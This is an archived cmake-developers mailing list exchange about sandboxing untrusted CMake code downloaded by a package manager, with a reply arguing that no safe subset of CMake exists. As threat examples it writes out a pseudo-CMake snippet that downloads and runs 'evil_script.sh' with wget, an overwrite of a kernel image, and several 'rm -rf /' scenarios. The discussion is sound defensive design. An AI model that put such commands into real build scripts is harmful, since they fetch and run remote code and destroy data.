http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
Hi Egor, Am 20.08.2016 13:48 schrieb "Egor Pugin" : > > Hi, > > I'm working on a package manager based on cmake. > And some cmake instructions are downloaded with user packages. > I'd like to have an ability to deny some cmake features in such > external untrusted insertions. I am no CMake expert, but you are talking about securing a program that is meant to take arbitrary input and run user-defined commands on that to produce possibly executable output. I do not see any safe subset of CMake commands that is still able to do anything useful. I can see a way for "insertions" to be useful, that does not involve them changing the configuration (e.g. for a cross compiler), involve running some 3rd party program (e.g. to add support for a new documentation system, parser generator or whatnot), or the production of build artifacts (e.g. build some library for the developer to use). *All* of these are inheritently unsafe. Configuration change: Change the C compiler to rm and pass force -rf -- / as flags. 3rd party program: Run rm -rf / when some certain input file is seen. Build artifacts: Put running rm -rf / into the binary/library so that this is run during normal development workflow. I would try to run my package manager in an environment where running rm -rf is harmless to the overall system health. Virtual machines or containers spring to mind there. Not sure that is feasible. Or come up with insertions signing, etc. so that users can at least know they got what was uploaded and know whom to blame when their systems get wiped. Beat Regards, Tobias -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
[cmake-developers] Security in CMake
Hi,
I'm working on a package manager based on cmake.
And some cmake instructions are downloaded with user packages.
I'd like to have an ability to deny some cmake features in such
external untrusted insertions.
1. Disable any COMMAND invokations (in exec[ute]_command,
add_custom_command, add_custom_target etc.)
2. Disable any external_project downloads etc.
3. Disable specific cmake commands (e.g. file(WRITE ...)
4. add more potentially unsecure features here
Potential vulnerabilities are (according to previous list):
1. Invocation of 'rm -rf' command. The dir can be / in sudo or ~ in user mode.
2. Downloading of unwanted scripts. Also applicable to 1).
3. Rewriting important system files (like /boot/kernel.image...,
/lib/libc... etc)
How it can be done?
1. Set a new policy?
2,3. Add new cmake command: enable_command(cmd, {On|Off})
Example:
...
# trusted code above
set_policy(disable COMMAND) # pseudo
enable_command(file, Off)
# untrusted ON
execute_command(
COMMAND wget http://.../evil_script.sh
COMMAND ./evil_script.sh
) # will throw an error - COMMAND is denied
file(WRITE /boot/vmlinuz-4.4.0-34-generic "") # will throw an error -
file is banned
# untrusted OFF
enable_command(file, On)
set_policy(enable COMMAND) # pseudo
# trusted code below
...
What do you think?
Is it possible in the latest CMake? Or can it be added in the future?
--
Egor Pugin
--
Powered by www.kitware.com
Please keep messages on-topic and check the CMake FAQ at:
http://www.cmake.org/Wiki/CMake_FAQ
Kitware offers various services to support the CMake community. For more
information on each offering, please visit:
CMake Support: http://cmake.org/cmake/help/support.html
CMake Consulting: http://cmake.org/cmake/help/consulting.html
CMake Training Courses: http://cmake.org/cmake/help/training.html
Visit other Kitware open-source projects at
http://www.kitware.com/opensource/opensource.html
Follow this link to subscribe/unsubscribe:
http://public.kitware.com/mailman/listinfo/cmake-developers
